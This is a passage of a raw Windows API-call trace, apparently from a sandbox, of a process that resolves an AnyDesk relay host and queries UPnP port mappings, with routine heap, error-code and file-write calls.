[0197.520] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0197.520] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0197.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a18ccc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0197.520] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac58 [0197.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a18ccc, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=4 | out: lpWideCharStr="TCP") returned 4 [0197.520] CoCreateInstance (in: rclsid=0x15d1304*(Data1=0xae1e00aa, Data2=0x3fd5, Data3=0x403c, Data4=([0]=0x8a, [1]=0x27, [2]=0x2b, [3]=0xbd, [4]=0xc3, [5]=0xc, [6]=0xd0, [7]=0xe1)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x15d12e4*(Data1=0xb171c812, Data2=0xcc76, Data3=0x485a, Data4=([0]=0x94, [1]=0xd8, [2]=0xb6, [3]=0xb3, [4]=0xa2, [5]=0x79, [6]=0x4e, [7]=0x99)), ppv=0x3d9f78c | out: ppv=0x3d9f78c*=0x7cffd8) returned 0x0 [0198.753] UPnPNAT:IUPnPNAT:get_StaticPortMappingCollection (in: This=0x7cffd8, ppSPMs=0x3d9f794 | out: ppSPMs=0x3d9f794*=0x0) returned 0x0 [0198.998] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x13) returned 0xe0bda8 [0198.998] GetLastError () returned 0x0 [0198.998] SetLastError (dwErrCode=0x0) [0198.998] GetLastError () returned 0x0 [0198.998] SetLastError (dwErrCode=0x0) [0198.998] GetLastError () returned 0x0 [0198.998] SetLastError (dwErrCode=0x0) [0198.998] GetLastError () returned 0x0 [0198.998] SetLastError (dwErrCode=0x0) [0198.998] GetLastError () returned 0x0 [0198.998] SetLastError (dwErrCode=0x0) [0198.998] GetLastError () returned 0x0 [0198.998] SetLastError (dwErrCode=0x0) [0198.998] GetLastError () returned 0x0 [0198.998] SetLastError (dwErrCode=0x0) [0198.998] GetLastError () returned 0x0 [0198.999] SetLastError (dwErrCode=0x0) [0198.999] GetLastError () returned 0x0 [0198.999] SetLastError (dwErrCode=0x0) [0198.999] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0198.999] GetSystemTime (in: lpSystemTime=0x3d9f6e8 | out: lpSystemTime=0x3d9f6e8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x1c7)) [0198.999] GetCurrentThreadId () returned 0xb1c [0198.999] GetCurrentProcessId () returned 0x994 [0198.999] GetLastError () returned 0x0 [0198.999] SetLastError (dwErrCode=0x0) [0198.999] GetLastError () returned 0x0 [0198.999] SetLastError (dwErrCode=0x0) [0198.999] GetLastError () returned 0x0 [0198.999] SetLastError (dwErrCode=0x0) [0198.999] GetLastError () returned 0x0 [0198.999] SetLastError (dwErrCode=0x0) [0198.999] GetLastError () returned 0x0 [0198.999] SetLastError (dwErrCode=0x0) [0198.999] GetLastError () returned 0x0 [0198.999] SetLastError (dwErrCode=0x0) [0198.999] GetLastError () returned 0x0 [0198.999] SetLastError (dwErrCode=0x0) [0198.999] GetLastError () returned 0x0 [0198.999] SetLastError (dwErrCode=0x0) [0198.999] GetLastError () returned 0x0 [0199.000] SetLastError (dwErrCode=0x0) [0199.000] GetLastError () returned 0x0 [0199.000] SetLastError (dwErrCode=0x0) [0199.000] GetLastError () returned 0x0 [0199.000] SetLastError (dwErrCode=0x0) [0199.000] GetLastError () returned 0x0 [0199.000] SetLastError (dwErrCode=0x0) [0199.000] GetLastError () returned 0x0 [0199.000] SetLastError (dwErrCode=0x0) [0199.000] GetLastError () returned 0x0 [0199.000] SetLastError (dwErrCode=0x0) [0199.000] GetLastError () returned 0x0 [0199.000] SetLastError (dwErrCode=0x0) [0199.000] GetLastError () returned 0x0 [0199.000] SetLastError (dwErrCode=0x0) [0199.000] GetLastError () returned 0x0 [0199.000] SetLastError (dwErrCode=0x0) [0199.000] GetLastError () returned 0x0 [0199.000] SetLastError (dwErrCode=0x0) [0199.000] GetLastError () returned 0x0 [0199.002] SetLastError (dwErrCode=0x0) [0199.002] GetLastError () returned 0x0 [0199.002] SetLastError (dwErrCode=0x0) [0199.002] GetLastError () returned 0x0 [0199.002] SetLastError (dwErrCode=0x0) [0199.002] GetLastError () returned 0x0 [0199.003] SetLastError (dwErrCode=0x0) [0199.003] GetLastError () returned 0x0 [0199.003] SetLastError (dwErrCode=0x0) [0199.003] GetLastError () returned 0x0 [0199.003] SetLastError (dwErrCode=0x0) [0199.003] GetLastError () returned 0x0 [0199.003] SetLastError (dwErrCode=0x0) [0199.003] GetLastError () returned 0x0 [0199.003] SetLastError (dwErrCode=0x0) [0199.003] GetLastError () returned 0x0 [0199.003] SetLastError (dwErrCode=0x0) [0199.003] GetLastError () returned 0x0 [0199.003] SetLastError (dwErrCode=0x0) [0199.003] GetLastError () returned 0x0 [0199.003] SetLastError (dwErrCode=0x0) [0199.003] GetLastError () returned 0x0 [0199.003] SetLastError (dwErrCode=0x0) [0199.003] GetLastError () returned 0x0 [0199.003] SetLastError (dwErrCode=0x0) [0199.003] GetLastError () returned 0x0 [0199.003] SetLastError (dwErrCode=0x0) [0199.003] GetLastError () returned 0x0 [0199.004] SetLastError (dwErrCode=0x0) [0199.004] GetLastError () returned 0x0 [0199.004] SetLastError (dwErrCode=0x0) [0199.004] GetLastError () returned 0x0 [0199.004] SetLastError (dwErrCode=0x0) [0199.004] GetLastError () returned 0x0 [0199.004] SetLastError (dwErrCode=0x0) [0199.004] GetLastError () returned 0x0 [0199.004] SetLastError (dwErrCode=0x0) [0199.004] GetLastError () returned 0x0 [0199.004] SetLastError (dwErrCode=0x0) [0199.004] GetLastError () returned 0x0 [0199.004] SetLastError (dwErrCode=0x0) [0199.004] GetLastError () returned 0x0 [0199.004] SetLastError (dwErrCode=0x0) [0199.004] GetLastError () returned 0x0 [0199.004] SetLastError (dwErrCode=0x0) [0199.004] GetLastError () returned 0x0 [0199.004] SetLastError (dwErrCode=0x0) [0199.004] GetLastError () returned 0x0 [0199.004] SetLastError (dwErrCode=0x0) [0199.004] GetLastError () returned 0x0 [0199.004] SetLastError (dwErrCode=0x0) [0199.004] GetLastError () returned 0x0 [0199.005] SetLastError (dwErrCode=0x0) [0199.005] GetLastError () returned 0x0 [0199.005] SetLastError (dwErrCode=0x0) [0199.005] GetLastError () returned 0x0 [0199.005] SetLastError (dwErrCode=0x0) [0199.005] GetLastError () returned 0x0 [0199.005] SetLastError (dwErrCode=0x0) [0199.005] GetLastError () returned 0x0 [0199.005] SetLastError (dwErrCode=0x0) [0199.005] GetLastError () returned 0x0 [0199.005] SetLastError (dwErrCode=0x0) [0199.005] GetLastError () returned 0x0 [0199.005] SetLastError (dwErrCode=0x0) [0199.005] GetLastError () returned 0x0 [0199.005] SetLastError (dwErrCode=0x0) [0199.005] GetLastError () returned 0x0 [0199.005] SetLastError (dwErrCode=0x0) [0199.005] GetLastError () returned 0x0 [0199.005] SetLastError (dwErrCode=0x0) [0199.005] GetLastError () returned 0x0 [0199.005] SetLastError (dwErrCode=0x0) [0199.005] GetLastError () returned 0x0 [0199.006] SetLastError (dwErrCode=0x0) [0199.006] GetLastError () returned 0x0 [0199.006] SetLastError (dwErrCode=0x0) [0199.006] GetLastError () returned 0x0 [0199.006] SetLastError (dwErrCode=0x0) [0199.006] GetLastError () returned 0x0 [0199.006] SetLastError (dwErrCode=0x0) [0199.006] GetLastError () returned 0x0 [0199.006] SetLastError (dwErrCode=0x0) [0199.006] GetLastError () returned 0x0 [0199.006] SetLastError (dwErrCode=0x0) [0199.006] GetLastError () returned 0x0 [0199.006] SetLastError (dwErrCode=0x0) [0199.006] GetLastError () returned 0x0 [0199.006] SetLastError (dwErrCode=0x0) [0199.006] GetLastError () returned 0x0 [0199.006] SetLastError (dwErrCode=0x0) [0199.006] GetLastError () returned 0x0 [0199.006] SetLastError (dwErrCode=0x0) [0199.006] GetLastError () returned 0x0 [0199.006] SetLastError (dwErrCode=0x0) [0199.006] GetLastError () returned 0x0 [0199.006] SetLastError (dwErrCode=0x0) [0199.006] GetLastError () returned 0x0 [0199.007] SetLastError (dwErrCode=0x0) [0199.007] GetLastError () returned 0x0 [0199.007] SetLastError (dwErrCode=0x0) [0199.007] GetLastError () returned 0x0 [0199.007] SetLastError (dwErrCode=0x0) [0199.007] GetLastError () returned 0x0 [0199.007] SetLastError (dwErrCode=0x0) [0199.007] GetLastError () returned 0x0 [0199.007] SetLastError (dwErrCode=0x0) [0199.007] GetLastError () returned 0x0 [0199.007] SetLastError (dwErrCode=0x0) [0199.007] GetLastError () returned 0x0 [0199.007] SetLastError (dwErrCode=0x0) [0199.007] GetLastError () returned 0x0 [0199.007] SetLastError (dwErrCode=0x0) [0199.007] GetLastError () returned 0x0 [0199.007] SetLastError (dwErrCode=0x0) [0199.007] GetLastError () returned 0x0 [0199.007] SetLastError (dwErrCode=0x0) [0199.007] GetLastError () returned 0x0 [0199.007] SetLastError (dwErrCode=0x0) [0199.007] GetLastError () returned 0x0 [0199.007] SetLastError (dwErrCode=0x0) [0199.008] GetLastError () returned 0x0 [0199.008] SetLastError (dwErrCode=0x0) [0199.008] GetLastError () returned 0x0 [0199.008] SetLastError (dwErrCode=0x0) [0199.008] GetLastError () returned 0x0 [0199.008] SetLastError (dwErrCode=0x0) [0199.008] GetLastError () returned 0x0 [0199.008] SetLastError (dwErrCode=0x0) [0199.008] GetLastError () returned 0x0 [0199.008] SetLastError (dwErrCode=0x0) [0199.008] GetLastError () returned 0x0 [0199.008] SetLastError (dwErrCode=0x0) [0199.008] GetLastError () returned 0x0 [0199.008] SetLastError (dwErrCode=0x0) [0199.008] GetLastError () returned 0x0 [0199.008] SetLastError (dwErrCode=0x0) [0199.008] GetLastError () returned 0x0 [0199.008] SetLastError (dwErrCode=0x0) [0199.008] GetLastError () returned 0x0 [0199.008] SetLastError (dwErrCode=0x0) [0199.008] GetLastError () returned 0x0 [0199.008] SetLastError (dwErrCode=0x0) [0199.008] GetLastError () returned 0x0 [0199.009] SetLastError (dwErrCode=0x0) [0199.009] GetLastError () returned 0x0 [0199.009] SetLastError (dwErrCode=0x0) [0199.009] GetLastError () returned 0x0 [0199.009] SetLastError (dwErrCode=0x0) [0199.009] GetLastError () returned 0x0 [0199.009] SetLastError (dwErrCode=0x0) [0199.010] GetLastError () returned 0x0 [0199.010] SetLastError (dwErrCode=0x0) [0199.010] GetLastError () returned 0x0 [0199.010] SetLastError (dwErrCode=0x0) [0199.010] GetLastError () returned 0x0 [0199.010] SetLastError (dwErrCode=0x0) [0199.010] GetLastError () returned 0x0 [0199.010] SetLastError (dwErrCode=0x0) [0199.010] GetLastError () returned 0x0 [0199.010] SetLastError (dwErrCode=0x0) [0199.010] GetLastError () returned 0x0 [0199.010] SetLastError (dwErrCode=0x0) [0199.010] GetLastError () returned 0x0 [0199.010] SetLastError (dwErrCode=0x0) [0199.010] GetLastError () returned 0x0 [0199.010] SetLastError (dwErrCode=0x0) [0199.010] GetLastError () returned 0x0 [0199.011] SetLastError (dwErrCode=0x0) [0199.011] GetLastError () returned 0x0 [0199.011] SetLastError (dwErrCode=0x0) [0199.011] GetLastError () returned 0x0 [0199.011] SetLastError (dwErrCode=0x0) [0199.011] GetLastError () returned 0x0 [0199.011] SetLastError (dwErrCode=0x0) [0199.011] GetLastError () returned 0x0 [0199.011] SetLastError (dwErrCode=0x0) [0199.011] GetLastError () returned 0x0 [0199.011] SetLastError (dwErrCode=0x0) [0199.011] GetLastError () returned 0x0 [0199.011] SetLastError (dwErrCode=0x0) [0199.011] GetLastError () returned 0x0 [0199.011] SetLastError (dwErrCode=0x0) [0199.011] GetLastError () returned 0x0 [0199.011] SetLastError (dwErrCode=0x0) [0199.011] GetLastError () returned 0x0 [0199.011] SetLastError (dwErrCode=0x0) [0199.011] GetLastError () returned 0x0 [0199.011] SetLastError (dwErrCode=0x0) [0199.011] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x23fa [0199.011] WriteFile (in: hFile=0x144, lpBuffer=0x3d9edf4*, nNumberOfBytesToWrite=0x8b, lpNumberOfBytesWritten=0x3d9f720, lpOverlapped=0x0 | out: lpBuffer=0x3d9edf4*, lpNumberOfBytesWritten=0x3d9f720*=0x8b, lpOverlapped=0x0) returned 1 [0199.012] ReleaseMutex (hMutex=0xd8) returned 1 [0199.012] UPnPNAT:IUnknown:Release (This=0x7cffd8) returned 0x0 [0199.012] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0199.012] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: hHeap=0x3b0000) returned 1 [0199.012] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac58 [0199.012] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0199.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a18ccc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0199.012] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac58 [0199.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a18ccc, cbMultiByte=-1, lpWideCharStr=0xe4ac58, cchWideChar=4 | out: lpWideCharStr="TCP") returned 4 [0199.012] CoCreateInstance (in: rclsid=0x15d1304*(Data1=0xae1e00aa, Data2=0x3fd5, Data3=0x403c, Data4=([0]=0x8a, [1]=0x27, [2]=0x2b, [3]=0xbd, [4]=0xc3, [5]=0xc, [6]=0xd0, [7]=0xe1)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x15d12e4*(Data1=0xb171c812, Data2=0xcc76, Data3=0x485a, Data4=([0]=0x94, [1]=0xd8, [2]=0xb6, [3]=0xb3, [4]=0xa2, [5]=0x79, [6]=0x4e, [7]=0x99)), ppv=0x3d9f7c4 | out: ppv=0x3d9f7c4*=0x7cffd8) returned 0x0 [0199.012] UPnPNAT:IUPnPNAT:get_StaticPortMappingCollection (in: This=0x7cffd8, ppSPMs=0x3d9f7c0 | out: ppSPMs=0x3d9f7c0*=0x0) returned 0x0 [0199.392] GetLastError () returned 0x0 [0199.392] SetLastError (dwErrCode=0x0) [0199.392] GetLastError () returned 0x0 [0199.392] SetLastError (dwErrCode=0x0) [0199.392] GetLastError () returned 0x0 [0199.392] SetLastError (dwErrCode=0x0) [0199.392] GetLastError () returned 0x0 [0199.392] SetLastError (dwErrCode=0x0) [0199.393] GetLastError () returned 0x0 [0199.393] GetSystemTime (in: lpSystemTime=0x3d9f730 | out: lpSystemTime=0x3d9f730*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x292)) [0199.393] GetCurrentThreadId () returned 0xb1c [0199.393] GetCurrentProcessId () returned 0x994 [0199.393] GetLastError () returned 0x0 [0199.393] UPnPNAT:IUnknown:Release (This=0x7cffd8) returned 0x0 [0199.393] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac58 | out: hHeap=0x3b0000) returned 1 [0199.393] GetLastError () returned 0x0 [0199.393] GetSystemTime (in: lpSystemTime=0x3d9f784 | out: lpSystemTime=0x3d9f784*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x18, wMilliseconds=0x292)) [0199.393] GetCurrentThreadId () returned 0xb1c [0199.394] GetCurrentProcessId () returned 0x994 [0199.394] GetLastError () returned 0x0 [0199.394] OleUninitialize () [0199.411] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5bef8 | out: hHeap=0x3b0000) returned 1 [0199.412] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4dee8 | out: hHeap=0x3b0000) returned 1 Thread: id = 498 os_tid = 0xb24 Thread: id = 500 os_tid = 0xb28 [0197.125] OleInitialize (pvReserved=0x0) returned 0x0 [0197.125] SetEvent (hEvent=0x33c) returned 1 [0197.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0197.126] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x15) returned 0xe4be20 [0197.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0xe4be20, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="boot.net.anydesk.com", lpUsedDefaultChar=0x0) returned 21 [0197.126] getaddrinfo (in: pNodeName="boot.net.anydesk.com", pServiceName="16708", pHints=0x351fc38*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x351fc10 | out: ppResult=0x351fc10*=0x2349e8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x234ab8*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) returned 0 [0197.871] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be20 | out: hHeap=0x3b0000) returned 1 [0197.871] FreeAddrInfoW (pAddrInfo=0x2349e8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x234ab8*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) [0197.871] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55948 [0197.871] GetCurrentThreadId () returned 0xb28 [0197.871] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55348 [0197.871] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e3b0 [0197.871] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55330 [0197.871] SetEvent (hEvent=0x1c0) returned 1 [0197.871] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55348 | out: hHeap=0x3b0000) returned 1 [0197.871] OleUninitialize () Thread: id = 501 os_tid = 0xb30 Thread: id = 502 os_tid = 0xb34 [0198.744] OleInitialize (pvReserved=0x0) returned 0x0 [0198.744] SetEvent (hEvent=0x344) returned 1 [0198.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0198.751] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x15) returned 0xe4b8e0 [0198.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0xe4b8e0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="boot.net.anydesk.com", lpUsedDefaultChar=0x0) returned 21 [0198.751] getaddrinfo (in: pNodeName="boot.net.anydesk.com", pServiceName="16708", pHints=0x350fd90*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x350fd68 | out: ppResult=0x350fd68*=0x234978*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x234b28*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) returned 0 [0198.758] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b8e0 | out: hHeap=0x3b0000) returned 1 [0198.759] FreeAddrInfoW (pAddrInfo=0x234978*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x234b28*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) [0198.759] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55c20 [0198.759] GetCurrentThreadId () returned 0xb34 [0198.759] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55348 [0198.759] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e3b0 [0198.759] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55258 [0198.759] SetEvent (hEvent=0x1c0) returned 1 [0198.759] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55348 | out: hHeap=0x3b0000) returned 1 [0198.759] OleUninitialize () Thread: id = 503 os_tid = 0xb38 [0198.826] OleInitialize (pvReserved=0x0) returned 0x0 [0198.826] SetEvent (hEvent=0x334) returned 1 [0198.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0198.827] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x15) returned 0xe0bc48 [0198.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0xe0bc48, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="boot.net.anydesk.com", lpUsedDefaultChar=0x0) returned 21 [0198.827] getaddrinfo (in: pNodeName="boot.net.anydesk.com", pServiceName="16708", pHints=0x371f698*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x371f670 | out: ppResult=0x371f670*=0x234978*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x234c08*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) returned 0 [0198.832] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bc48 | out: hHeap=0x3b0000) returned 1 [0198.832] FreeAddrInfoW (pAddrInfo=0x234978*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x234c08*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) [0198.832] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55c20 [0198.832] GetCurrentThreadId () returned 0xb38 [0198.832] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55078 [0198.832] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e3b0 [0198.832] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55258 [0198.832] SetEvent (hEvent=0x1c0) returned 1 [0198.832] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.832] OleUninitialize () Thread: id = 504 os_tid = 0xb44 [0198.881] OleInitialize (pvReserved=0x0) returned 0x0 [0198.881] SetEvent (hEvent=0x344) returned 1 [0198.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0198.882] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x15) returned 0xe4b980 [0198.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0xe4b980, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="boot.net.anydesk.com", lpUsedDefaultChar=0x0) returned 21 [0198.882] getaddrinfo (in: pNodeName="boot.net.anydesk.com", pServiceName="16708", pHints=0x3b5f6a0*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x3b5f678 | out: ppResult=0x3b5f678*=0x234978*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x234ab8*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) returned 0 [0198.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b980 | out: hHeap=0x3b0000) returned 1 [0198.941] FreeAddrInfoW (pAddrInfo=0x234978*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x234ab8*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) [0198.941] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55c90 [0198.941] GetCurrentThreadId () returned 0xb44 [0198.941] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55078 [0198.941] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e3b0 [0198.942] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55258 [0198.942] SetEvent (hEvent=0x1c0) returned 1 [0198.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0198.942] OleUninitialize () Thread: id = 509 os_tid = 0xb50 [0198.993] OleInitialize (pvReserved=0x0) returned 0x0 [0198.993] SetEvent (hEvent=0x334) returned 1 [0198.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0198.993] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x15) returned 0xe0bdc8 [0198.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="boot.net.anydesk.com", cchWideChar=-1, lpMultiByteStr=0xe0bdc8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="boot.net.anydesk.com", lpUsedDefaultChar=0x0) returned 21 [0198.994] getaddrinfo (in: pNodeName="boot.net.anydesk.com", pServiceName="16708", pHints=0x3b3fc68*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x3b3fc40 | out: ppResult=0x3b3fc40*=0x234978*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x234b28*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) returned 0 [0199.097] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bdc8 | out: hHeap=0x3b0000) returned 1 [0199.097] FreeAddrInfoW (pAddrInfo=0x234978*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x234b28*(sa_family=2, sin_port=0x4144, sin_addr="49.12.130.237"), ai_next=0x0)) [0199.097] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55c20 [0199.097] GetCurrentThreadId () returned 0xb50 [0199.097] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe550c0 [0199.097] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e3b0 [0199.097] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55078 [0199.097] SetEvent (hEvent=0x1c0) returned 1 [0199.097] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe550c0 | out: 